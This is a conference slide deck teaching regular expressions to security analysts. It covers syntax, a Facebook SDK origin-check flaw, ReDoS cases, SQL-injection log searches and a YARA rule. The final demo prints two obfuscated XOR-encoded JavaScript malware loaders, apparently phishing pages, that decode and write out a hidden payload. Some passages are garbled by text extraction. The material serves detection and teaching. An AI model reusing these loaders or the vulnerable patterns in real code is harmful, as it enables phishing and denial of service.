RegEx for Fun and Profit

Exploring the most Underrated Skill for Cybersecurity Analysts

Carolina Code Conference 2025

whoami

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Agenda

Overview

How to Use Regular Expressions

Basic Syntax

Common Pitfalls


Tools


REDoS


Applications for Blue Team

Resources

Questions







OVERVIEW

Regular expressions are both terribly awkward and extremely useful.

- Eloquent JavaScript

Overview - What are Regular Expressions?

Definition

A regular expression (regex or regexp) is a sequence of characters that specifies a search pattern. Usually such patterns are used by string-searching algorithms for "find" or "find and replace" operations on strings, or for input validation.

- The Linux Foundation

A regular expression is a pattern that the regular expression engine attempts to match in input text. A pattern consists of one or more character literals, operators, or constructs.

- Microsoft .NET Fundamentals

Overview - What implementations exist today?

Types/Flavors

POSIX Basic Regular Expressions (BRE)

POSIX Extended Regular Expressions (ERE)

Perl Compatible Regular Expressions (PCRE)

And many more...

(Java, Python, .NET, JavaScript, PHP, Perl, etc...)

Overview - Why do we use them?

Pattern Matching

- Find a match
- Return Documents/Records
- Data Extraction
- Search and Replace
- Validate Input

BASIC SYNTAX

Basic Syntax

Literals Groups

Wildcard Alternation

Anchors Quantifiers

Classes Escapes



ProgrammerHumor.io

Literals

Literals are exact character for character matches


TVqQ

MATCHES

TVqQAAMAAAAEAAAA//8AA

DOES NOT MATCH

U29tZSByYW5kb20gZGF0YQ==



Wildcard

Wildcards match ANY character (.)

p...w.rd

MATCHES

password p@\$\$w0rd

DOES NOT MATCH

pass1word passwd



Anchors

Anchors restrict WHERE a match may begin or end (^ and \$)


^MZ

MATCHES

MZ is a match

DOES NOT MATCH

Junk, then MZ is not a match



Anchors

Anchors restrict WHERE a match may begin or end (^ and \$)


 $\.$ php\$

MATCHES

filename.php

DOES NOT MATCH

filename.txt filename.php5



Classes

Classes match any character literal in a collection ([abc])


[iI][eE][xX]

MATCHES

iex IEX iEx

DOES NOT MATCH

Invoke-Expression IWR



Classes

Negative character classes match any character literal NOT in a collection ([^abc])


 $www\.goog[^1]e\.com$

MATCHES

www.goog1e.com

DOES NOT MATCH

www.google.com



Classes

Shorthand for common character classes

\d matches all numbers [0-9]



\w matches all "word chars" [a-zA-Z0-9]

\s matches all whitespace

 $[\t \n\x20\x0a\x0d]$



^{*}The uppercase shorthand matches their negatives (\D, \W, \S)

Groups

Groups match the entirety of the sub-pattern within the parentheses (() or (?:))


loginid=(\d)

MATCHES

loginid=1 loginid=99

DOES NOT MATCH

loginid=Z login=1



Alternation

Alternation creates branches in which the pattern may contain one of the sub-patterns (|)


www\.(google|bing)\.com

MATCHES

www.google.com www.bing.com

DOES NOT MATCH

www.googlemail.com



Quantifiers specify HOW MANY of a pattern match (* and + and ? and { })


function\(\w*\)

MATCHES

function() function(myvar)

DOES NOT MATCH

function(var1, var2)



Quantifiers specify HOW MANY of a pattern match (* and + and ? and { })


$$var \ \ w+ =$$

MATCHES

 $var a1 = 123 \ var x = 123$

DOES NOT MATCH

var = 123 const z = 123



Quantifiers specify HOW MANY of a pattern match (* and + and ? and { })


https?:

MATCHES

http:// https://

DOES NOT MATCH

httpx:// ftp://



Quantifiers specify HOW MANY of a pattern match (* and + and ? and { })


$$\d{3}-\d{3}-\d{4}$$

MATCHES

123-456-7890

DOES NOT MATCH

123-45-6789




Note: This quantifier can support a range (e.g. a { 3, 5 })

Repetition Behavior

This describes how an engine evaluates a repetition (greedy (default) .+ , lazy

```
.+? , and possessive .++ )
```



Escapes

Escapes a special character to find its literal value (\)


document\["domain"\]

MATCHES

document["domain"]

DOES NOT MATCH

documentd document.domain



Escapes

Special characters (metacharacters) that need to be escaped

```
{ } [ ] ( ) ? |
^ $ . * + \ / -
```

Advanced Syntax

Mode Modifiers/Flags

Named Groups

Back-References

Look-Aheads

Look-Behinds

Conditionals

```
/pattern/gi (?m)pattern

(?<foo>pattern)

\k<foo> \1

(?=ahead)y (?!ahead)n

(?<=behind)y (?<!behind)n</pre>
```

(?(?=exists)then|else)


Quick Reference (Regex101)

A single character of: a, b or c	[abc]
A character except: a, b or c	[^abc]
A character in the range: a-z	[a-z]
A character not in the range: a-z	[^a-z]
A character in the range: a-z or A-Z	[a-zA-Z]
Any single character	
Alternate - match either a or b	a b
Any whitespace character	\s
Any non-whitespace character	\s
Any digit	\d
Any non-digit	\D
Any word character	\w
Any non-word character	\w
Match everything enclosed	
Capture everything enclosed	
Zero or one of a	a?
Zero or more of a	a*


One or more of a	a+
Exactly 3 of a	a{3}
3 or more of a	a{3,}
Between 3 and 6 of a	a{3,6}
Start of string	
End of string	
A word boundary	\b
Non-word boundary	\B

PRACTICE


Regex101 - Most powerful testing tool for those with experience



Regexr - Excellent visual cues, good for learners



Regexper - Great visualization of logic flow, good for brainstorming [used here]



Debuggex - Combo of testing + visualization, good for debugging



Practice

Matching an IP address isn't always simple

How would you find 192.168.1.1? Or any other IPv4 address?

Practice

Matching an IP address isn't always simple


How would you find 192.168.1.1? Or any other IPv4 address?

A trivial solution:

$$\d+\.\d+\.\d+\.\d+$$


Practice

 $\b\d{1,3}\.\d{1,3}\.\d{1,3}\b$




Practice


 $b(([1-9]?\d|1\d\{2\}|2([0-4]\d|5[0-5]))\.){3}([1-9]?\d|1\d\{2\}|2([0-4]\d|5[0-5]))\b$



How well does AI do this? (2024 edition)




How well does AI do this? (2024 edition)



How well does AI do this? (2025 edition)



Certainly! Here's a regular expression (regex) that detects IPv4 addresses:




Explanation:

- \b : Word boundary to ensure that the IP is a distinct token.
- (?: ...): A non-capturing group to repeat the pattern three times.
- \d{1,3}: Matches one to three digits (from 0 to 999).
- \.: Matches the literal dot . separator between the octets.
- {3}: Repeats the preceding non-capturing group (the one digit+dot combination) three times.
- \d{1,3}: The last octet of the IP address, which is just one to three digits.
- \b: Another word boundary to ensure it doesn't match part of a larger number or word.

Caveats:

 This regex will match numbers in the range 8-999 for each octet, which is technically incorrect because IP addresses should have octets between 8 and 255. However, it's simple and matches a wide range of possible inputs.

If you need to restrict the octets to valid IP ranges (0-255), you can use a more complex regex like this:



CAUTION

Efficiency

Which is the more efficient expression?

A

```
[iI][eE][xX]
```

В

```
i([eE][xX]|[wW][rR])
```

More importantly, Why?

Efficiency



Common Pitfalls

- Overcomplicating
- Failing to escape metacharacters
- Not testing thoroughly (match AND don't match)
- Not understanding the nuances
 - laziness/greediness
 - classes
 - supported behaviors/syntax in flavor/implementation

Common Pitfalls

Historically, regular expressions are one of computer science's shining examples of how using good theory leads to good programs...

Today, regular expressions have also become a shining example of how ignoring good theory leads to bad programs.

- Russ Cox, Regular Expression Matching Can Be Simple And Fast (but is slow in Java, Perl, PHP, Python, Ruby, ...)

What happens when this is done poorly?

- Broken/Bypassed Functionality
- Inefficient Resource Usage
- REDoS
- Missed Alerts
- Malware Evades Detection

Case Study - Facebook Account Takeover

In late 2020, the Facebook JS SDK included these lines in code responsible for cross-origin communication:

```
j = /^https:\/\.*facebook\.com$/;
    [... snip ...]
window.addEventListener("message", function(a) {
    [... snip ...]
if (!j.test(d)) return;
```

Case Study - Facebook Account Takeover

This check is designed to make sure that

www.facebook.com passes and

www.google.com fails

But it also allows

evilfacebook.com to pass, when it absolutely should not

Case Study - Facebook Account Takeover

Impact:

When chained with the ability to iframe a web application including the Facebook JS SDK, can be used to leak sensitive information found in the window.href.location property, including OAuth or other sensitive tokens.

This vulnerability existed even if the target page only included the SDK to access the sharing functionality.

Case Study - Facebook Account Takeover

Resolution:

Facebook paid a security researcher \$10K to point out that they missed two critical characters.

```
j = /^https: \/\.* facebook\.com$/;
```

REDoS

REDoS - Regular Expression Denial of Service

This is an attack on the Availability component of the CIA triad.


It causes downtime in a vulnerable service (which contains a poorly formed regex) by feeding it crafted input that maliciously consumes an outsized proportion of system resources.

Regular expression principle attacked: Nondeterministic Finite Automaton (NFA)

Intended behavior exploited: Catastrophic Backtracking


REDoS - NFAs

Nondeterministic Finite Automaton (NFA)



For input aaaax there are 16 possible paths in the above graph. But for aaaaaaaaaaaax there are 65536 possible paths

REDoS - Backtracking



Email Regex according to RFC 5322 official standard

Email Regex using a naive simplification

Email Regex using a naive simplification

```
("[^"]*"|[^@])*@[^@]*
```

@

test@test.com

"test@test"@test.com

"data"can+be_"deceiving"@test.com

bad.email@


Email Regex using a naive simplification

```
("[^"]*"|[^@])*@[^@]*
```

```
MATCH STEP 4

/ ("[^"]*<mark>"</mark>|[^@])*@[^@]*

""""
```



REDoS - Examples

Examples of Super-Linear (REDoS-vulnerable) regexes found in NPM repositories*

Error messages	/no such file '.+[/\\](.+)'/
URL	/^.+:\/\/[^\n\\]+\$/
Naming convention	/^[\$_a-z]+[\$_a-z0-9-]*\$/
Source code	/function.*?\(.*?\)\s*\{\s*/
User-agent strings	/Chrome\/([\w\W]*?)\./
Whitespace	/(\n\s*)+\$/
Number	/^(\d+ (\d*\.\d+))+\$/
Email	/^\S+@\S+\.\w+\$/

^{* -} James C. Davis, Christy A. Coghlan, Francisco Servant, and Dongyoon Lee. 2018. The impact of regular expression denial of service (ReDoS) in practice: an empirical study at the ecosystem scale. In Proceedings of the 2018 26th ACM Joint Meeting on European Software Engineering Conference and Symposium on the Foundations of Software Engineering (ESEC/FSE 2018). Association for Computing Machinery, New York, NY, USA, 246–256.

Stack Overflow Outage

In 2016, Stack Overflow went down for 34 minutes. This regular expression was run on a malformed post that caused the regex to consume high CPU on their web servers.

```
^[\s\u200c]+|[\s\u200c]+$
```

Cloudflare Outage

In 2019, Cloudflare went down for 27 minutes. It was brought down by this:

```
(?:(?:\"|'|\]|\}|\\|\d|(?:nan|infinity|true|false|null|undefined|symbol|math)|\`|\-|\+)+[)]*;?((?:\s|-|~|!|{}|\||\+)*.*(?:.*=.*)))
```

CVE-2024-24762 - REDoS in Python-Multipart

This vulnerability arises from an inefficient Regular Expression (RegEx) used to parse the HTTP Content-Type header.


import python_multipart

^{*} https://www.vicarius.io/vsociety/posts/redos-in-python-multipart-cve-2024-24762

CVE-2024-24762 - REDoS in Python-Multipart

```
(?:; | ^) \s*([^\(\) <>@,;:\\"/\[\]\?=\{\}\\\t]+) \s*=\s*((?:[^\(\)<>@,;:\\"/\[\]\?=\{\}\\\t]+|"(?:\\.|[^"])*"))
```

CVE-2024-24762 - REDoS in Python-Multipart



REDoS - Prevention

- Don't try to replace robust functionality with custom regex
- Ensure that there is only one way to match any string
- Boundary characters
- Test on exhaustive worst cases
- Use online/offline regex writing tools or checkers
- Peer/SME review


REDoS - Prevention

Tools

https://regex.rip/

REDoSHunter

RegexBuddy




PRACTICAL APPLICATIONS

Cybersecurity Applications

- Searching Logs
- Creating Alerts
- Malware Analysis
- Writing YARA Rules
- Code Review
- Flexible SIEM Search Strings
- Scripting



Demo Time



Demo 1 - Analyzing Text Logs



Demo 1 - Analyzing Text Logs

Context

National CyberWatch Mid-Atlantic Collegiate Cyber Defense Competition (MACCDC) 2012

http.log

http://www.secrepo.com/maccdc2012/

Demo 1 - Analyzing Text Logs

```
wc -l http.log
2048442 http.log
```

la/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)^I0^I1635^I404^INot Found^I-^I-^I-^I(empty)^I-^I-^I-^I

I-^I-^IF6dLKtxyWI82rIsB9^Itext/html\$

```
sgrep "SELECT" http.log | wc -l
2562
```


```
('|\"|%2[27])[^&]*SELECT[^&\r\n]*(--|#)
('|\"|%2[27]) - find an injection character
[ ^ & ] * - do not enter a different URL parameter
SELECT - evidence of a SQL query
[^&\r\n]* - do not enter a different URL parameter or a new line
(--|#) - find a SQL comment to cleanly exit the injection
```

```
$grep -oE "('|\"|%2[27])[^&]*SELECT[^&\r\n]*(--|#)" http.log | sort -u |
wc -l
254
```

```
$grep -oE "('|\"|%2[27])[^&]*SELECT[^&\r\n]*(--|#)" http.log | sort -u | less
```

I





Context

Attackers use XOR encryption to obfuscate their payloads in embedded or included JavaScript malware.

```
<!DOCTYPE html><html><script>
var GArib = "YnJpdHRhbnluQHJveWFsZWxlY3QuY29t";
function eBuKNCUzRAU(LHITBFB, BkQUR) {
   let YdMNc = "";
   LHITBFB= atob(LHITBFB);
    let disxSCCJtEgr = BkQUR.length;
    for (let i = 0; i < LHITBFB.length; i++) {
        YdMNc += String.fromCharCode(LHITBFB.charCodeAt(i) ^ BkQUR.charCodeAt(i % disxSCCJtEgr));
    return YdMNc;
var DnNURk =eBuKNCUzRAU(`USQnMR@oIXkFOAMwMSITPWh
+IzgbNjcgBjElLU55HiUnflMwIS0ZKld4aywYMSM8CDoMMyEuDTs90BswGS5qIBs1ei4ZdAQ5Jy8BPDAqRi4EMyMmACt6Zlt0Wm53c0dvYTxcaltuc3BDaWJoWmlaZXFzQ
D1iYFs7WmVwIUBtYm1d0lpud3NDamBuXmBeb3J0Q2pibV07WmBzcEA8Yzhd0lhkcCFDYWM/XW9ZZnByRzxmPUQeLCUtIVNmaXYa0h8+NDdK`, `mWDCtXUYiY`);
document.write(DnNURk);
</script></html>
```

```
<input type="hidden" class="xZqqkQ" style="position:absolute;left:-9999px;" value="#info.sec@insentragroup.com">
<iframe id="MMROm5QNhMLRdV01" frameborder="0" allowfullscreen allow="same-origin allow-top-navigation allow-modals allow-scripts allow-popups-to-escape-sandbox
allow-forms"></iframe>
<script language="javascript">
function _0x29840b(_0x617c53,_0xc16abd){const _0xf51299=(function(){let _0x40448d=!![]; return function(_0x31f2aa,_0x1ffd62){const _0x8ae396=_0x40448d?function()
{if(_0x1ffd62){const _0x1ad89a=_0x1ffd62['apply'](_0x31f2aa,arguments);return _0x1ffd62=null,_0x1ad89a;}}:function(){};return _0x40448d=![],_0x8ae396;};}()),
_0x4db9b6=_0xf51299(this,function(){return _0x4db9b6['toString']()['search']('(((.+)+)+)+$')['toString']()['constructor'](_0x4db9b6)['search']('(((.+)+)+)
+$');});_0x4db9b6();const _0x11ff02=(function(){let _0x12ddfd=!![];return function(_0x33379c,_0x3091b9){const _0x11c0a4=_0x12ddfd?function(){if(_0x3091b9)
{const _0x5c292d=_0x3091b9['apply'](_0x33379c,arguments);return _0x3091b9=null,_0x5c292d;}}:function(){};return _0x12ddfd=![],_0x11c0a4;};}()),
_0x7fa006=_0x11ff02(this,function(){const _0x241864=function(){let _0xf4f02d;try{_0xf4f02d=Function('return\x20(function()\x20'+'{}.constructor
(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x1c1fbe){_0xf4f02d=window;}return _0xf4f02d;},_0x2f009c=_0x241864(),_0x2b7ab6=_0x2f009c['console']=_0x2f009c
['console']||{},_0x5c6b5f=['log','warn','info','error','exception','table','trace'];for(let _0x5e14c4=0x0;_0x5e14c4<_0x5c6b5f['length'];_0x5e14c4++){const
_0x368d3e=_0x11ff02['constructor']['prototype']['bind'](_0x11ff02),_0x2c37a6=_0x5c6b5f[_0x5e14c4],_0x55b182=_0x2b7ab6[_0x2c37a6]||_0x368d3e;_0x368d3e
['__proto__']=_0x11ff02['bind'](_0x11ff02),_0x368d3e['toString']=_0x55b182['toString']['bind'](_0x55b182),_0x2b7ab6[_0x2c37a6]=_0x368d3e;}});_0x7fa006();let
_0x2bb483='';_0x617c53=atob(_0x617c53);let _0x268403=_0xc16abd['length'];for(let _0x5a5929=0x0;_0x5a5929<_0x617c53['length'];_0x5a5929++){_0x2bb483+=String
['fromCharCode'](_0x617c53['charCodeAt'](_0x5a5929)^_0xc16abd['charCodeAt'](_0x5a5929%_0x268403));}return _0x2bb483;}var _0x247634=_0x29840b
('TUCFIq8kRE9jbVFCByJG0FkfAm1MFEQ9Hy1FCVZ5RVwIaFFuAwYPPkQCVTqSJqRKV3obAAAdMWFYPDt2IEpYPwANYq86FUtK0AxfKGIpU29KPkZwACFeEh0kHlpGNAM7UhccPhJVEjUqPV4aQSITUhMjBTVEFA
0BGFoNeUYv01FJLh5aFSRGN1qQGw4eUAMRFCZRCElwUW87a2x0EBcGP1EcCjUSdFlRVG1BD0Y5RmqQHqsrBEcFMRIxVD0AIxoaCjUIM0QZUm0YH015Ri86UUltURRGMwk6QwVJLhlVFBMJMFVRVG0eVqAlFTdRBQ
wpPV0IO0g3WBAbDh5QAxESfFlYUkdRFEZwRnRTGQg/MlsCNScmQhAQYwFBFTh0B0QDACMWGgAiCTlzGQg/
MlsCNU43WBAbDh5QA3BLdAVYQHZ7FEYtbHQQAww5BEYICAU8UQMqIhVRJyIUNU1fAyIYWk53QX0Le0ltDD5GcBA1QlEAKwNVCzVGaRAVBi4EWQM
+EnpXFB0IHVELNQqqcqqqKVkWKx00G11E0AMZeSoCAqIAHUtkSj5GcA8yQhAEKF9HFDNGaRAVDCITUhMjBTVEFCUkH190PA86W1hJZ1FQCTMTOVUfHWMAQQMiHwdVHQwuBVSUeER6SCS0KhplRH1II1EdHChKPkZ
wDzJCEAQoX0cSKQoxHhIaPiVRHiRGaRBWGSICXRI5CToKUQ8kCVECaw86QxQdd1EEFihdI1kVHSVLGRE1BD9ZBUQrGFgKfQciURgFLBNYA2sOMVkWAT1LGRE1BD9ZBUQrGFgKfQciURgFLBNYA2sE00IVDD9LBBY
oXTlRAw4kHw5WIB5vQBANKRhaAWpWJEhKBjsURqA8CSMKGQApFVEIaxx5WR8NKAkORmlfcwt7SW0VWwUlCzFeBUcvHlAffqckQBQHKTJcDzwCfFkXGywcUU9rbHQQTUY+EkYPIBJq','q4fPfT0qiM');
document['write'](decodeURI(_0x247634));
```

Regex

```
(?i) for\s*\(let\s+\w+\s*=\s*[a-fx0-9+*\/\-\s]+;\s*\w+(\[['"]\w+['"]]\(\w+,|\s*<\s*)\w+(\.|\[['"])length(['"]\])?\)?;\s*\\w+\+\+\)\s*\{\s*\w+\s*\+=\s*String(\.|\[['"])fromCharCode(['"]\])?\(\s*(\w\[['"]\w+['"]]\()?\w+(\.|\[['"])charCodeAt(['"]\])?\(\w+\)\s*[,\^]\s*\w+(\.|\[['"])charCodeAt(['"]\])?\((\w+\)['"]\w+['"]\)?\((\w+\)['"]\w+['"]\])?\((\w+\)['"]\w+['"]\])?\((\w+\)\s*[,\%]\s*\w+\)\s*\)
```

```
Regex
   (?i) for \s^* \ (let \s + \w + \s^* = \s^* [a - fx0 - 9 + * \/ \- \s] +; \s^* \w + (
 [[''']] = ['''] = [(w+, |s*<)] = [(u+, |s*<)] = [
 \])?\)?;\s*\w+\+\+\)\s*\{
for\s*\( - opening for loop
let\s+\w+\s*=\s*[a-fx0-9+*\/\-\s]+; - counter declaration
\s^*\w^+(\[['"]\w^+['"]]\(\w^+,|\s^*<\s^*)\w^+(\.|\[['"])\length(['"])
[ ] \ ] ) ? \ ) ?; - exit condition (usually based on length)
\s*\w+\+\+ - increment counter
\)\s*\{ - close conditional declaration, begin loop logic
```

TEST STRING

```
Regex
\sqrt{s*/w+s*/+=}s*String(\.|\[['"])fromCharCode(['"]\])?\(\s*(\w/[['"]\w
+['"]]\()?\w+(\.|\[['"])charCodeAt(['"]\])?\(\w+\)\s*\^\s*\w+(\.|\[['
"]) charCodeAt(['"]\])?\((\w+\[['"]\w+['"]\])()?\w+\s*[,%]\s*\w+\))s*\
\s^*\w+\s^*\+=\s^* - variable appending (cleartext built from empty string)
String(\.|\[['"])fromCharCode(['"]\])?\(; - usage of function to convert UTF-16 code
value to string character
(\w\[['"]\w+['"]]\()?\w+(\.|\[['"])charCodeAt(['"]\])?\(\w+\)\s* - usage of
function to derive UTF-16 code value from binary data
\^ - XOR operator
\s*\w+(\.|\[['"])charCodeAt(['"]\])?\((\w+\[['"]\w+['"]\]\()?\w+\s*[,%]\s*\w
+\)\s*\) - derivation of XOR key value (ciphertext position modulus key length)
```

```
!/\s*\w+\s*\+=\s*String(\.|\[['"])fromCharCode(['"]\])?\(\s*(\w\[['"]\w+
                                                                                   / gm
    ['"]]\()?\w+(\.|\[['"])charCodeAt(['"]\])?\(\w+\)\s*\^\s*\w+(\.|\
    [['"])charCodeAt(['"]\])?\((\w+\[['"]\w+['"]\]\()?\w+\s*[,%]\s*\w+\)\s*\)
TEST STRING
for (let • i = • 0; • i < • LHITBFB. length; • i++) • {
    *YdMNc += String.fromCharCode(LHITBFB.charCodeAt(i) ^ BkQUR.charCodeAt(i %*
disxSCCJtEgr));
} <1
for(let • _0x5a5929=0x0; _0x5a5929<_0x617c53['length']; _0x5a5929++)
{_0x2bb483+=String['fromCharCode'](_0x617c53['charCodeAt']
(_0x5a5929)^_0xc16abd['charCodeAt'](_0x5a5929%_0x268403));}
```

```
rule malicious_xor_javascript
{
    meta:
        author = "Duncan Michel"
        strings:
        $str1 = /for\s*\(let\s+\w+\s*=\s*[a-fx0-9+*\/\-\s]+;\s*\w+(\[['"]\w+['"]]\(\w+, \s*<\s*)\w+(condition:
        filesize < 1MB and any of ($str*)
}</pre>
```

duncanmichel-1733350192 8 months ago

 $import "vt" \ rule \ mal_js_xor_regex \{ meta: author = "" \ description = "" \ target_entity = "file" \ strings: $a = /for\s^* \ (let\s... \ let\s... \$

1.8 K matches

```
[ph03nix0x90@htb-fk5anshr7z]-[~/my_data/regex/demo]
```

I

Demo 3 - Jupyter Notebooks



Resources

For Learning More

Regular-expressions.info (all-in-one) - https://www.regular-expressions.info/

RegexOne (interactive tutorial) - https://regexone.com/

RegexLearn (interactive tutorial) - https://regexlearn.com/learn/regex101

Cheat Sheets

SANS - https://github.com/sans-blue-team/sec455-wiki/blob/master/Resources/regular-expressions-cheat-sheet-v1.pdf

RexEgg - https://www.rexegg.com/regex-quickstart.html

Debuggex (Python, JavaScript, PCRE) - https://www.debuggex.com/#cheatsheet

RegexLearn - https://regexlearn.com/cheatsheet

Tools

Regex101 - https://regex101.com/

Regexr - https://regexr.com/

Regexper - https://regexper.com/

Debuggex - https://www.debuggex.com/

QUESTIONS?